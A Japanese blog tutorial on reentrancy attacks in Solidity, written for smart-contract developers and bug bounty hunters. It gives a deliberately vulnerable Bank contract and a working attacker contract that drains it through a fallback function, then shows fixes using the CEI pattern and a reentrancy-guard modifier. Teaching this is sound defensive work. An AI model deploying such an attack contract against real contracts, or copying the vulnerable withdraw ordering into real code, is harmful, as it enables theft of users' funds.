Hacking Smart Contract Solidity ブロックチェーン

[Solidity-Bug Bounty] Reentrancy Attackを1からわかりやすく解説

かるでね

こんにちは!CryptoGamesというブロックチェーンゲーム企業でエンジニアをしているかるでねです!
スマートコントラクトを書いたり、フロントエンド・バックエンド・インフラと幅広く触れています。

このブログ以外でも情報発信しているので、よければ他の記事も見ていってください。

今回は「Reentrancy Attack」について取り上げていきます。

スマートコントラクトでの攻撃で一番有名な攻撃方法です。

スマートコントラクト開発をするエンジニアは、「Reentrancy Attack」をされないようにコードを書く必要があります。

この記事で「Reentrancy Attack」について学び、安全性が高いスマートコントラク開発に繋げていきましょう。

また、リエントランシー攻撃はバグ・バウンティに参加する上で必須の知識となるので、バグ・バウンティに参加したい人はぜひこの記事で学んでいってください。

バグ・バウンティが何かわからない人は以下の記事を読んでください。

リエントランシー攻撃

まずはリエントランシー攻撃が何かから確認していきましょう。

コントラクトからコントラクトの呼び出し

リエントランシー攻撃から見ていく前に、前提として「コントラクは別のコントラクト」を呼び出すことができると言うことを確認しましょう。

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.13;

contract ContractA {
    bool public check = false;
    address public user;

    /// @notice checkの値をtrueにし、userの値をcheckOk()を呼び出したアドレスに設定。
    function checkOk() public {
        check = true;
        user = msg.sender;
    }
}

contract ContractB {
    ContractA public contractA;

    // ContractAをデプロイしたアドレスを指定。
    constructor(address _contractAAddress) {
        contractA = ContractA(_contractAAddress);
    }

    /// @notice ContractA内のcheckOk()を呼び出し。
    function callCheckOk() external {
        contractA.checkOk();
    }
}

上記のコードではContractAContractBの2つのコントラクトを作成しています。

ContractA

checkOk関数を呼び出すことで、checkの値をtrueにし、userに呼び出したコントラクトかアカウントのアドレスにする。

ContractB

デプロイしたContractAのアドレスを渡してデプロイし、callCheckOk関数を実行しContractAcheckOk関数を呼び出す。

では早速実行してみましょう。

ContractBからContractAを呼び出すことを確認できました。

ぜひ手元でも実行してみてください。

https://remix.ethereum.org/

リエントランシー攻撃とは?

コントラクは別のコントラクトを呼び出すことができることを確認できたところで、本題のリエントランシー攻撃が何かを確認していきましょう。

リエントランシー」とは「再入可能(Re Entry)」と言う意味です。

つまり「リエントランシー攻撃」とは、別コントラクトの関数実行時に再帰的に関数を呼び出す攻撃です。

もう少し具体的に説明すると、コントラクトBコントラクトAを呼び出して関数を実行する際、関数の実行が完了する前に再度コントラクトAの関数を実行すると言うことです。

それの何が危険なの?」と思う方がいると思います。

手順

  • 変数priceを参照して資金を送金する。
  • 送金が完了したのち、変数priceの値を0にする。

上記のような処理をする関数があるとします。

この時1の処理が終わったのち、2の処理がされる前に再度関数を実行するとどうでしょうか?

変数priceの値が更新されないため、無限に資金が抜かれてしまいます。

いかがでしょうか?

リエントランシー攻撃の危険性を理解できたでしょうか?

では次の章から実際にリエントランシー攻撃を実装しながら確認していきましょう。

リエントランシー攻撃

では実際にリエントランシー攻撃を実装して動作を確認していきましょう。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Bank {
    // 預けた資金を記録する。
    mapping(address => uint) public balances;

    /// @notice 一定額資金を預ける関数。
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    /// @notice 預けている資金を引き出し、balancesの値を0にする。
    function withdraw() public {
        uint balance = balances[msg.sender];
        // 預けた資金があるか確認。
        require(balance > 0, "There are no funds available to withdraw.");

        (bool sent, ) = msg.sender.call{value: balance}("");
        // 資金を遅れた確認。
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    /// @notice 特定アドレスの預けた資金を確認する関数。
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract ReentrancyAttack {
    Bank public bank;

    constructor(address _bankAddress) {
        bank = Bank(_bankAddress);
    }

    /// @notice 資金を受け取ったり、実行した関数が存在しないときに呼ばれる。
    ///         預けた資金が存在すれば引き出す処理をする。
    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw();
        }
    }

    /// @notice 1 etherを預けて、その後預けた資金を引き出す関数。
    function attack() external payable {
        require(msg.value >= 1 ether);
        bank.deposit{value: 1 ether}();
        bank.withdraw();
    }

    /// @notice 特定アドレスの預けた資金を確認する関数。
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Bank

deposit関数を呼び出すことで、指定した金額預けることができます。

預けた金額はbalancesにユーザーアドレスをキーにして記録されます。

widthdraw関数を呼び出すことで、預けた資金を引き出すことができます。

getBakance関数は、現在コントラクトが保持している資金の合計を確認できます。

ReentrancyAttack

Bankコントラクトをデプロイしたアドレスを渡してデプロイします。

attack関数では、Bankコントラクトのdeposit関数を呼び出したのち、widthdraw関数を実行して預けた資金を引き出しています。

getBakance関数は、Bankコントラクトと同じで現在コントラクトが保持している資金の合計を確認できます。

一見何も問題ないように見えますが実行して確認してみましょう。

2人のユーザーが預けた合計5etherが全て攻撃者のコントラクに送られてしまいました。

なぜでしょうか?

ここでポイントとなるのが、fallback関数です。

fallback関数は資金を受け取ったり、実行しない関数が存在しないときに呼ばれる無名関数です。

widthdraw関数は資金を引き出す処理を実行しているため、資金を引き出した後に呼ばれ、再度widthdraw関数を実行しているのが確認できます。

つまり全体の流れとしては以下のようになります。

処理の流れ

  • ReentrancyAttackコントラクトからBankコントラクトのdeposit関数を実行し1 etherを預ける。
  • 資金を預けたのちBankコントラクトのwidthdraw関数を実行して預けた1 etherを引き出す。
  • Bankコントラクトから資金を受け取ったので、balancesの値が更新される前にReentrancyAttackコントラクトのfallback関数が呼ばれる。
  • fallback関数の中のwidthdraw関数が実行され、再度1 etherを引き出す。
  • 3と4をBankコントラクトが保持している資金が1 ether以下になるまで繰り返す。

このようにしてBankコントラクトの資金が全て抜かれてしまったのです。

ぜひ手元で実行してみてください。

https://remix.ethereum.org/

リエントランシー攻撃の原因と対処法

原因

今回リエントランシー攻撃が実行されてしまった原因は「資金を引き出す前にbalances内の値を更新していなかった」ことです。

対処法

対処法1

widthdraw関数はbalancesに記録されているデータを参照して資金を引き出しているため、引き出す前にbalancesに記録されているデータを0に更新してまえば、再度widthdraw関数を実行されても資金を引き出されることはありません。

function withdraw() public {
    uint balance = balances[msg.sender];
    // 預けた資金があるか確認。
    require(balance > 0, "There are no funds available to withdraw.");
		
		// 資金を引き出す前にbalancesのデータを更新。
    balances[msg.sender] = 0;

    (bool sent, ) = msg.sender.call{value: balance}("");
    // 資金を遅れた確認。
    require(sent, "Failed to send Ether");
}

上記のようにすることで1度資金を引き出した後は、再度資金を預けるまで資金を引き出すことができなくなります。

これはCEIパターンと呼ばれています。

CEIパターンとは「Check」、「Effects」、「Interactions」をまとめたものです。

Checkは条件の真偽を確認し、Effectsでは変更を行なっているか確認し、Interactionsで関数の目的を実行する(widthdraw関数で言えば資金を送る)。

まとめるとCEIパターンは、「関数の目的を実行する前に、実行に関連するチェックと更新を行うべきである」ということを意味します。

このCEIパターンを意識することは重要なので頭に入れておきましょう。

対処法2

他の処理が実行されているかチェックするのも有効な対処法です。

以下のようなmodifierと変数を定義します。

// 他の処理が実行されているかチェックするbool値。
bool internal locked;

// lockedがtrueの時は処理を行わない。
// lockedがfalseの時はtrueにして、一連の処理が終わったのちfalseに変更。
modifier noReentrant() {
    require(!locked, "No re-entrancy");
    locked = true;
    _;
    locked = false;
}

locked変数は他のwithdraw関数が実行されているかチェックするbool値で、trueの時は他の処理が走っていることになります。

noReentrant修飾子では、他のwithdraw関数が実行されている時(locked == true)、他のwithdraw関数の実行が失敗する。

他のwithdraw関数が実行されていない時(locked == false)は、lockedtrueにしてwithdraw関数の処理が完了するまで他のwithdraw関数が実行されないようにします。

_;」の部分で呼び出し元の関数の処理を実行しています。

一連の処理が終わったのちlockedfalseにします。

このようにすることで、balancesの値が更新されるまで別のwithdraw関数の実行ができなくなります。

function withdraw() public noReentrant {
    uint balance = balances[msg.sender];
    // 預けた資金があるか確認。
    require(balance > 0, "There are no funds available to withdraw.");

    (bool sent, ) = msg.sender.call{value: balance}("");
    // 資金を遅れた確認。
    require(sent, "Failed to send Ether");

    balances[msg.sender] = 0;
}

リエントランシー攻撃によるハッキング事例

UniswapとLendf.me

uniswapとLendf.meから2500万ドル以上の暗号通貨が盗まれました。

Beosin-Eagle Eye

BSCチェーン上のDeFiプロトコルXSURGEが攻撃され400万ドルの被害にあった。

The Dao

52億円もの通貨が盗まれる。

EthereumがハードフォークしてEthereum Classicと分岐。

最後に

今回は「Reentrancy Attack」について解説してきました。

いかがだったでしょうか?

Reentrancy Attack」がどういったものなのか、具体的にどんな攻撃がされるのか、対処するにはどうしたら良いのかが理解できていたら嬉しいです。

最初は理解が難しいかもしれないので、ぜひ自分で実行したりググったりして理解を深めてください。

もし何か質問などがあれば以下のTwitterなどから連絡ください!

普段はSolidityやブロックチェーン、Web3についての情報発信をしています。

Twiiterでは気になった記事などを共有しているので、ぜひフォローしてくれると嬉しいです!

参考


-Hacking, Smart Contract, Solidity, ブロックチェーン
-,